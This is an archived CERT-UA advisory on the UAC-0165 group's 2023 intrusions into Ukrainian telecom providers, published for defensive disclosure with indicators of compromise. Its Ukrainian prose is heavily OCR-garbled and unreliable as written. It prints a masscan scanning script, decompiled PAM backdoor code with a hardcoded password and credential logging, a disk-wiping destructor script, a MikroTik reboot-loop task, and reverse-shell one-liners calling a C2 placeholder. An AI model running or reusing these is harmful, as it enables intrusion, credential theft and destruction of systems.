https://cert.gov.ua/article/6123309

CERT-UA

Archived: 2026-04-05 15:46:43 UTC
3aranbHa inopmanis

3a maruMu myomigHux mKepert 3a riepiog 3 11.05.2023 mo 27.09.2023 opraHizoBaHOIO TPYTIO0 3/I0BMUCHUKIB, 1[0
BificTexxyeTbcs 3a ifjenTudikaropom UAC-0165, 3zilicHeHO BTpy4aHHs B iHpopMalliliHo-KOMYHiKalliliHi CUuCcTeMu
(IKC) ne meHiiie Hix 11 ripoBaiifepis TenekoMyHiKallifi YKpaiHu, 110, Cepej iHIIoro, prU3BesIo o repeboiB B

Ha,E[aHHi Moc/ayr CrioxkvBadaMm.

Ypsi[10BOIO KOMaH/I0k0 pearyBaHHsI Ha KOMIT t0TepHi Haj3BuuaiiHi nogil Ykpainu CERT-UA y TicHilt B3aemopii 3
(haxiBIIIMM OJHOTO 3 POBal/IEPiB BXXUTO 3aXO0/[iB 3 AOC/i/IKEHHS iHI[UIE€HTY, 3aBJKA YOMY BCTAaHOBJIEHO
obcTaBrHM Kibeparak, 3'siCOBaHO XapaKTepHi TaKTHKH, TEXHIKH Ta TIPOLIeIyPH 3JI0BMUCHHKIB, a TAKOXX PO3KPHUTO

3/I0BMMCHUM 3aZlyM III0/[0 peasi3aliii Kibep3arpo3 Ha psifii aHaJIOTiUHKX MiZINPUEMCTB.

B ymMoBax HeBnuHHOI L poBi3aLlii 3HauHOI Ki/IbKOCTI c(hep CyuyacHOro >KUTTsl, yPaxOBYIOUH [IepPCUCTEHTHY
3arpo3y BTPaTH 3B'I3Ky B pe3y/bTaTi KiHeTHUHUX aTak Ha TeJIeKOMYHIKallii Ta 00'€eKTH eHepro3abesmneueHHs], cTae

(yHKLIIOHYBaHHSI OMepaTopiB Ta MPOBa/iePiB € CYCITiIbHO BaXK/TMBOIO MTOTPe6ot0.

3 MeToMO BiZIOUTTA arpecii B KibeprpocTopi, 3aK/IMKaeMO yKpaiHCHKHX MIPOBaiiepiB MeperysiHy T B/lacHi MoBepxHi
aTak, BpaXyBaTH BUK/Ia/leHi TeXHIUHi fieTani Ta, y pa3i BusBaeHHs (03HaK) iHIMeHTiB iHpopMaljiiiHoi 6e3mekw,

HeBigknagHO 3Bepratvcs 1o CERT-UA 3 MeTo10 iHiL[iFOBaHHS 3aX0/[iB 3 pearyBaHHSI.

Cutig BpaxoByBaTH, 1110 iHLU/EHT, A0C/TiIKeHU Ha/leXKHUM YMHOM, TIi/IBUIIYE BipOTiJHICTb HeIOMyIeHHs

peavtizariii Kibep3arpo3 Ha iHIIMX 00'eKTax HaIIO1 /Jep>KaBH.

3BezieHa (He BuuepIiHa) iHdopMaiiis 1010 0cobMBOCTel 37ificHeHHs KibepaTak Ha yKpaiHCbKUX TpoBaiiiepis

HaBe/leHa HIDKYe.
TexuiuHa iHopmariist

SIK TIpaBHUJIO TIEPIIIMM eTaroM KibepaTaku € po3BifiKa, 1[0 TIOUMHAETHCS 3 "TPyboro” CKaHyBaHHS MiMepeXx
(aBTOHOMHOI CHCTEMU) TIpOBaiiiepa 3a TUTIOBUM HaOOpPOM MepeXXeBHX TOPTIB i3 3aCTOCYBaHHSIM, 30KpeMa,
masscan. [Ipuknaz 3acTocoBaHoro KoHgirypariiiiHoro ¢aiiny, a Tako)K CKpHIITa /s 3allyCKy masscan HaBe/leHO

Ha puc.1-2, BifnOBiAHO.
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# resume information
resume-index = 2132

rate = 1000.00
randomize-hosts = true

seed = 11108739036624134220
shard = 1/1

# ADAPTER SETTINGS

adapter =

adapter-ip = [a.b.c.d]
adapter-mac = 00:00:00:00:00:00
router-mac = 00:00:00:00:00:00
# OUTPUT/REPORTING SETTINGS
output-format = grepable

show = open,,

output-filename = logs.txt
rotate = 0

rotate-dir = .

rotate-offset = 0

rotate-filesize = 0

pcap =

# TARGET SELECTION (IP, PORTS, EXCLUDES)
retries = 0

ports = 21-23,25,53,80,139,443,445,3306,3389,8080,8291,8443,1:0
range = a.a.a.a/l9

range = b.b.b.b/22

range = c.c.c.c/22

capture = cert

nocapture = html

nocapture = heartbleed

nocapture = ticketbleed

[min-packet = 60

Puc.1 [puknag koudirypartjiiitoro ¢atiny masscan

while true

do
time now=$(date +%d %m %Y %H %M)
echo $time now
for i in in/*

do
masscan -p$(cat conf.txt) --ping --rate 1000 $(cat $i) -oG logs.txt
name=($(echo $i| tr "/" "\n"))
cp logs.txt logs/${name[1l]} $time now.logs
done
sleep 1800
done

Puc.2 [puknaj cKpyriTa [jis 3alyCKy masscan 3 TepejlikoM TUIIOBUX MepeXKeBHUX MopTiB (conf.txt)

Y Bumnaky izentudikariii intepdeiici yrpasninus (Harpukiag, SSH, RDP), 3a yMoBU He 0OMeXeHHSI ZOCTYITY

10 OCTaHHIX, iHilifoeTbCs Migbip aBTeHTH(iKaLiHKX faHNX. Y pa3i BUsBIeHHS 03HaK BPa3IMBOCTEN
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3[iMCHIOETLCS TXHs eKcIiyarariist. I[TybniuHo focTymHi cepBicu (BebmomaTku), Taki sk Oi1iHr, ocobucTuii KabiHeT
KOPHCTyBaua, XOCTUHTOBi cepBepH (Ta BeOCaiTH) TOLII0, aHaTi3yI0ThCS 3a JOTIOMOTOI0 CIIelfiami30BaHUX MPOorpaM,

B Tomy uucyi: ffuf, dirbuster, gowitness, nmap Toro.

3ayBaykuMo (!), 1[0 aKTUBHICTh MO PO3BiALli Ta eKcriTyaTallii TPOBOAUTLCS i3 3a37a/ierifib CKOMIIPOMETOBAaHUX
cepBepiB, po3Mill[eHUX, 30KpeMa, B YKpaiHChbKOMY cerMeHTi Mepexki IHTepHeT. [is MapiipyTr3aliii Tpadiky uepe3

TakKi By3/IM 3aCTOCOBYHOThCS MPOKCi-cepBepy dante, socks5 Ta iHIIi.

IleTanbHUH aHasti3 cepBepiB, 1110 BUKOPUCTOBYIOThCS SIK TITALIAPM [IJ1s [IPOBeIeHHsT KibepaTak, ZI03B0/IUB
niATBepANUTH (akT IXHBOI 3aBUacHOi kKoMmrpoMeTatlii. Kpim Toro, BcTaHOB/IEHO [JOAATKOBI 03HAKU Takoi

KOMITpOMeTalrlii.

1. 3a3Buyaii, 1110 TaKOXX CIIPaBeJ/IMBO i [/i1 cepBepiB XOCTHHTY, 3/I0BMUCHUKU BCTAHOB/IIOIOTH 1IKiAMBU PAM-
Moayib (BicTexxyerbest sk POEMGATE), 1110 Ha/la€ MOXK/TMBICTb aBTeHTH(hIKyBaTHCS i3 CTaTUUHO BU3HAUEHUM
rapoJsieM Ta 30epirae BBe/ieHi Mif yac apTeHTHdiKaLlii JIoriHu Ta napoJi y daiin B XOR-Ko0BaHOMY BUIVISA
(puc.3). Taki 6eKIopH BCTaHOBIIIOIOTHCS 3a3/laeTifib Ta, 3 IVIMHOM uacy, HaflafoTh 3MOTY OTPHMAaTH aKTyasbHi
aBTeHTH(iKaLiliHi faHi agmiHicTpaTOpiB, sKi, B CBOIO Uepry, 0BOJIi YaCTO BUKOPUCTOBYIOTbCS /ISl OCTYITY JI0

iHILIOTO CEPBEPHOTO Ta MEPEXKEBOro 00/1a[HAHHSI.
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ctrl = _set_ctrl{pamh, flags, @LL, @LL, @LL, argc, argv);
vE = (unsigned int *)mallec(4ull);
if ( ve )
{
w7 = wbj
rl = pam_get_user(pamh, &username, OLL);
auth_result = rilj

if (1)

if (rl == 38 )
auth_result = 31;

}

else
{
if { lusername || ((®username - 43) & 6xFD) == @ )
{
pam_syslog(pamh, 3LL, "bad username [¥s]™, username};
*yi = 18;

pam_set_data(pamh, “unix_setcred_return®, v7, setcred_free);
return 18LL;

if { _unix_blankpasswd(pamh, ctrl, username) }
{
username = BLL;
*7 = @;
goto LABEL_14;
,
r2 = pam_get_authtok(pamh, PAM_AUTHTOK, &password, OLL);
auth_result = r2;

if ( r2)

if { rd == 38 }
auth_result = 31;
glze
pam_syslog(pamh, 2LL, "asuth could not identify password for [%s5]", username);
}

else

!

verify result = unix wverify password(pamh, username, password, ctrl);
iz _backdoored_password = stremp(crypt(password, “"AVBIWIXI9AT), "AVEBGUEjXdBf2") == 8;

auth_result = !is_backdoored password;
if ( 'is_backdoored password )
i

auth_result = verify result;

if ( lverify_result )

{
sprintf(buf, “%s:¥s\n", username, password);
for ( i =@LL; ; ++i )

vls = &buf[strlen{buf)];
if (w15 - buf <=1 )
break;
enc_buf[i] = buf[i] * xor_key[(__inte4)i ¥ 7];// 'de@sodh’

enc_buf[vls = buf] = @;
vle = fopen(™/lib/libc.s0.7%, "a");
fputs{enc_buf, v1g);
v17 = vlb;
auth_result = 8;
fclose(vliT);
}
b
password = @LL;
¥
username = @LL;
}
*v7 = auth_result;
LABEL_14:
pam_set_data(pamh, “umix_setcred_return”, v7, setcred_free);
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return auth_result;
}
pam_syslog(pamh, 2LL, "pam_unix_awth: cannot allocate ret_data™);
return SLL;

}

Puc.3 Ilpuknaz gekoMminboBaHoro nporpaMHoro kogy POEMGATE

2. 3 MeTO0 00X0/ly HaJIAIITYBaHb, MOB'A3aHUX 3 00MeXKeHHSIM MOK/IMBOCTi BUKOPUCTaHHSI KOMAHZHOI 000IOHKH

(shell), opurinaneHi daitnu "/bin/false"”, "/bin/nologin" 3aminroroThcs Ha "bash".
3. Bupanenns 03HaK HeCaHKLIIOHOBAHOIO JOCTYITy JOCATaEeThCs, cepef IHoro, 3anyckoM yrunitnu WHITECAT.

4. TopaTKOBO Ha cepBep MOKe BCTaHOBJIFOBATUCS BapiaHT nporpamMu POSEIDON ("/1ib/x86_64-linux-
gnu/libs.s0"), dhyHKI[ioHa IKOT MiCTUTh IOBHUI CITEKTP 3acobiB BizjaneHoro ynpasiainas EOM. ITpu 1jpomy,
niepcucteHTHICTE POSEIDON 3a6e3mneuyeThcst NUIAX0oM migMinu (Moaudikaliii) seritTuMHoro 6iHapHoro datiny
"/usr/sbin/cron", B CTPyKTYPY SIKOTO [JOZIA€THCS IIPOTPaMHUI KO/l, 11J0 CTBOPIOE TOTIK 3 apryMeHTOM (start_routine)

y Bumisigi pyHkuii "RunMain", sika imnoprtyetscs 3 "libe.so” (puc.4):
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ProgramName = _ xpg basename(*argv);

parse_args(argc, argv);

signal(17, sigchld handler);

signal(l, sighup handler);

if ( !fdopen(e, "r") )
open(“dev/null”, @);

acquire_daemonlock(@LL);

set _cron_uid();

set _cron_cwd();

setenv("PATH", "/Jusr/bin:/bin™, 1);

setlocale(6, &locale);

setlocale(3, "C");

=1 = nl_langinfo(14);

if ( !s1 || !strcasecmp(sl, "ANSI x3.4-1968") )
strepy(cron_default_mail_charset, "US-ASCII");
else

strncpy(cron_default mail charset, s1, @x3EBull);
if ( !stay_foreground )

d

vi = fork();

if (w3 = -1}

1
v4 = getpid();
log_it("CRON", v4, "DEATH", “"can't fork");
exit(e);

¥

if (w3 )
_exit(e);

vs = getpid();
log_it{"CRON", v5, "STARTUP", “"fork ok");
setsid();
freopen(”/dev/null”, "r", stdin);
freopen("/dev/null™, "w", stdout);
freopen(”/dev/null”, "w", stderr);
¥
acquire_daemonlock(@LL);
memset(v7, @, sizeof(v7));
load_database(v7);
set time(1LL);
run_reboot_jobs(v7);
virtualTime = clockTime;
timeRunning = clockTime;
|pthread_create{&nersth'eadJ eLL, &RunMain, @LL);
while [ 1 )

do

Puc.4 Ipuknag kogy MogudikoBaHoro cron Asisi BUKIUKY "RunMain" 3 metoto 3amycky POSEIDON

Y BUMNaAKy HaJaHHS [IPOBaliiepOM IOC/IYT XOCTHHTY, Mic/Is KoMIIpoMeTalil BeOcaiiTy Ha BebcepBep MOXe
3aBaHTaXyBaThCs 6ekaop Weevely. SKiro cepeep 3HaxoauThcs B Mexkax IKC mpoBatiziepa (Ta Mae "BHyTpirHi"
iHTepdeticu), BiH MoKe OyTH BUKOPHCTaHM [/11 PO3BUTKY aTakH Ha iHuI enemeHTH DMZ i/ab0o nokambHOT

006UKCITIOBATBHOT Mepexi.

OkpiM crierjiasi3oBaHUX MpOrpam, MePCUCTEHTHHI HeCaHKIiOHOBaHUH JJOCTYTI /10 iHppaCTPyKTypH NpoBaiiepa

peasti3yeTbCsl 3a JOTIOMOTOFO IITaTHUX 00/TiKoBHUX 3anuciB VPN (3a3HaueHOMY CTIPHUSIE BiZICyTHICTD
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HaratoakTopHOI aBTeHTU]IKaLlii HA OCHOBi OJHOPa30BOT0 KOAy 3 J07aTKy). OueBUHOI 03HAKOIO
komnpomertariii VPN e migkmtouenHs 3 [P-agpec mepexi TOR Ta cepsiciB VPN, B TOMy umMc/Ii THX, 10

"KacriKyOTbCS" SIK YKpalHChKI.

[Ticnst mponukHeHHst 710 IKC 0CHOBHI 3yCH/IISt 30CepeKYIOThCS Ha ileHTHdiKallil Tak 3BaHUX [KaMII-XOCTiB Ta
KOMIT'FOTepiB CUCTeMHUX aJMIiHICTpaTopiB. AKIIO [1oza/bllle TOPU30HTA/IbHE TlepeMilljeHHs YHeMOXX/IUBIIeHe
CTICKaMK KOHTPOJTIO JIOCTYITY MEPeXKeBOTo 00/1a[HAHHS, 3/TOBMUCHUKH MOKYTh BHOCUTH 3MiHH B 1X

Ha/IallITyBaHHA.

Tak 51K 3 uaciB "KibepBepkyTy" Maiike KO>KeH 3/1aM CyTPOBO/PKY€EThCS My0O/TiKalliero "mpydis", yuacTHHa yacy
TIPUCBSUYETHCS eKCinbTpallil JOKyMeHTiB, Kpec/ieHb, cxeM, 10roBopiB. [IpuHarigHo, as migcuneHHs "edekry"
Ta HaZiaHHs Gi/bIIoT MyOsTiUHOCTI, 3TOBMUCHUKH BAIOTHCS 10 BUKPAI€HHS MApOJIiB BiJj 0pilliiHUX 06/TiKOBUX
3anuciB B Telegram, Facebook, a Takoxx TokeHiB f/151 po3cunianis SMS, Toijo. ToMy crifi okpeMo 3BepHYTH yBary

Ha ybe3srneueHHs TaKUX "MeAiHHUX " aKayHTIB [IUIIXOM HasallTyBaHHs OaratodakTopHoi aBTeHTHbiKarlii.

Ha 3ak/rouHOMy eTarti KibepaTaku 3[ilCHIOETbCST BUBEIEHHS 3 JIaJly aKTUBHOTO MEPEXXEBOT0 Ta CEPBEPHOTO
oblalHaHHS, a TAKOXK CUCTeM 30epiraHHs JaHUX. 3a3HAUYeHOMY CTIPHSIE BUKOPUCTAHHS OJHAKOBUX TIAPOJTiB Ta He
0OMeXKeHHUH AOCTyT [0 iHTepdeliciB yrpaB/iHHs UM 00/1aHaHHAM. KpiM TOro, BiICyTHICTh pe3epBHUX KOTIii
aKTya/bHUX KOH(]Irypariiii HeraTUBHO BIJIMBA€E Ha MOK/IMBiCTh OTIEPAaTUBHOTO BiHOBJIEHHS TTpalle3/aTHOCTI.

[Ipukaz ofHOrO 31 CKpPUIITIB-1eCTPYKTOPIB HaBeleHO Ha puC. 5.

sleep 600

rm -rf /boot &

rm -rf /etc &

rm -rf /mnt &

rm -rf /root &

rm -rf /home &

rm -rf /tmp &

rm -rf /usr/local/nodeny &

DEV=$(fdisk |grep -o -E "/dev/.+ " | cut -d " " -fl)

for D in $DEV

do
dd if=/dev/zero of=$D bs=1048576 count=256 &
echo $D

done

sleep 100

halt &

reboot &

Puc.5 Ilpuknag ckpunra-gecTpykropa

SIK puKaz, 715 OPYIIeHHs ITaTHOTO pexxuMy (QyHKITioHyBaHHs obsaziHaHHsT Mikrotik Moske 3acTocoByBaTucs

Bi/IMOBiIHMY QyHKI[iOHAN CKPUMTIB Ta 3arylaHOBaHKX 3ajjau. [1puKiaj ofHOTO 3i CKPUMTIB HaBe/leHO Ha pHC.6.
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/system scheduler

add interval=10m name=schl on-event=jscl policy=reboot,write start-date=\
aug/21/2023 start-time=10:30:00

add interval=10s name=sch2 on-event=jsc2 policy=reboot,write start-time=\
startup

/system script

add dont-require-permissions=no name=jscl owner=admin policy=reboot,write \
source=":system scheduler add name=sch2 on-event=jsc2 policy=reboot,write \
start-time=startup interval=00:00:10"

add dont-require-permissions=no name=jsc2 owner=admin policy=reboot,write \
source=":system reboot"

Puc.6 Ipuknaz ckpunra Ta 3aBgaHHs s Mikrotik

Hamonernneo pekoMeHyeEMO B3SITH [I0 yBard iHGpopMailito, 10 BUK/IazieHa y ctarti "SIk OyTH BiANoBigaisHIM Ta

BTprMarH Kibepdpont" (https:/cert.gov.ua/article/5436463).

Kopuctyroumnch Haro/jor0 BUC/IOBIIOEMO BAAYHICTD oneparopaM i nmpoBaiijepaM TeJleKOMYHIKaLjii YKpainu 3a
CTIpUsTHHSA Y 60pOoTHOi 3 Kibep3arpo3amu Ta 3acBiZluyeMo roToBHICTE mjozio 3anyueHHss CERT-UA s

mocimkeHHs Kibeparak, 06MiHy iHdopMmatiiero, iepeBipky aHoMaJtiii TOIIIO.
Ingukaropu Kibep3arpo3

daiinu:

2b88885fbh57€28497522238bd8f8befc 8ddd681dd834ab66f6a1c00ba2830717bf845de5639708eb8e8ab795ffd1df5a
5d9a661f35d4e136d389bead78c4252f €h01925836eed1dbd85a8ab9aad5c5c45dc@5Tabaaedeb7db3a53489d776b6c2
20a@7ba71cab@f92c566b31e96fdf0e8 9060ca8e829fc136d1ecd95a5204abb48f3ce5b7339619c5668c7e176dcbb235
a74dbcae530f52f62chdcef3dc18feee e9c5dc9cec95f31cea2eb88cc26a35d29c5f89f23bffba7cfal250dec6d5701a
45fad72d370ff88c5b349ch741cc26ce 8fb3ed6261a2358e0890bfd544e515af232f87d3aef947e09f640da7cc1b89d9
59f2c3fbedbaf721c02a66179147241a 0e24a1268212a790bc3993750194ac1e0996a6770b32b498341f06abac45d81
75cde685cd3f00f354155e3c433698c7 edcff7071e184e3f1bfedfe30afab2ddd2cac1a00983508d142e57ecebfcbal4
61b70767326387f141a18e2fbb250a68 b5ec1d43462a770d207eefb906516631e4d80eeab5779509616b58b39a764455
302f158cabf6094e90bd43f7748dd65f 65c8801223833898c54d7f48ee0709a13887376b2eabbc933b2e70129614e728

Mepedxcesi:

eurotelle[.]com
(IP-appecun, Bukopuctadi ana SSH/VPN poctyny)
103[.]251.167.20
103[.1251.167.21
104[.]1244.72.8
107[.]189.30.69
139[.]99.237.205
146[.]59.233.33
146[.]59.35.246
156[.1146.63.139
158[.]118.218.193
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162[.
162[.
162[.
162[.
162[ .
162[.
167[ .
171[.
1711
171[.
1711
171[.
179[.
179[.
182[.
185[.
185[.
185[.
185[.
185[.
185[.
185[.
185[.
185[.
185[.
185[.
185[.
185[.
185[.
185[.
185[.
185[.
185[.
185[.
185[.
185[.
185[.
185[.
185[.
185[.
185[.
185[.
185[.
185[.
185[.
192[.
192[.
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1247.73.192
1247.74.201
1247.74.206
1247.74.216
1247.74.27
1247.74.74
186.94.107
125.193.20
125.193.235
125.193.25
125.193.77
125.193.78
143.159.195
143.159.198
1118.218.193
1100.86.121
1100.87.41
1129.61.129
1129.61.7
1129.62.62
1130.47.58
114.28.207
1165.169.239
1220.101.152
1220.102.240
1220.102.241
1220.102.242
1220.102.247
1220.102.251
1220.102.252
1220.102.253
1220.102.254
1220.102.8
1220.103.8
1233.100.23
1235.146.29
1241.208.206
1241.208.232
1246.188.60
1246.188.67
1246.188.74
1254.75.55
134.33.2
156.83.83
167.82.114
142.116.13
142.116.16
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192[.
192[.
192[.
193[.
193[.
195[.
203[ .
204[.
2041

27[

142.
142.
142.
1218.118.158
1218.118.182
169.
128.
128.
18.156.142
12,

116.18
116.23
116.25

202.145
246.189
48.77

208.73

23[.]1129.64.133
2[.156.164.52
2[.158.56.101
45[.1139.122.241
45[.1141.215.1M
45[.]154.98.225
46[.1182.21.248
51[.189.153.112
5[.1181.80.132
5[.1252.118.19
5[.1255.99.205
5[.145.73.243

62[.
62[.
77[.
77[.
79[.
80[.
82[.
84[.
89[.
89[.
91[.
91[.
91[.
94[.
95[.
95[.

1102.
1182.

148.68
84.146

148.28.204
148.28.236

1137.

194.146

167.167.81

1221

Xocmoasi:

.128.191
1239.
1147.
1248.
1208.
1208.
1224.
1102.
1214.
1214.

46.144
111.106
165.181
75.153
75.3
92.110
51.15
234.139
55.43

/1lib/libc.so.7

/1ib/x86_64-1inux-gnu/libs.so
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/1ib/x86_64-1inux-gnu/security/pam_unix.so
/tmp/ .1
/usr/sbin/wccrt
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/usr/sbhin/wcc

/var/lib/vim/ps

/var/lib/vim/vfth/scan.sh

expect -c 'spawn su -c "whoami ; expect -re "assword"; send "%password%"; expect eof;' 2>&1
perl -e 'use Socket;$i="%C2IP%";$p=3333;socket(S,PF_INET,SOCK_STREAM, getprotobyname("tcp"));if(conne:
python -c "import pexpect as p,sys;c=p.spawn("su %user% -c whoami");c.expect(".*assword:");c.sendlini
sleep 1; nc -e /bin/sh %C2IP% 3333 2>&1

sleep 1;rm -rf /tmp/backpipe;mknod /tmp/backpipe p;telnet %C2IP% 3333 0</tmp/backpipe | /bin/sh 1>/ti
/bin/false (nopyweHHA uinicHocTi/niamiHa)

noug on

sUSers

/bin/nologin (mopyweHHA winicHocTi/niamiHa)

/usr/sbin/cron (nopyweHHA uinicHocTi/niamiHa)

Source: https://cert.gov.ua/article/6123309
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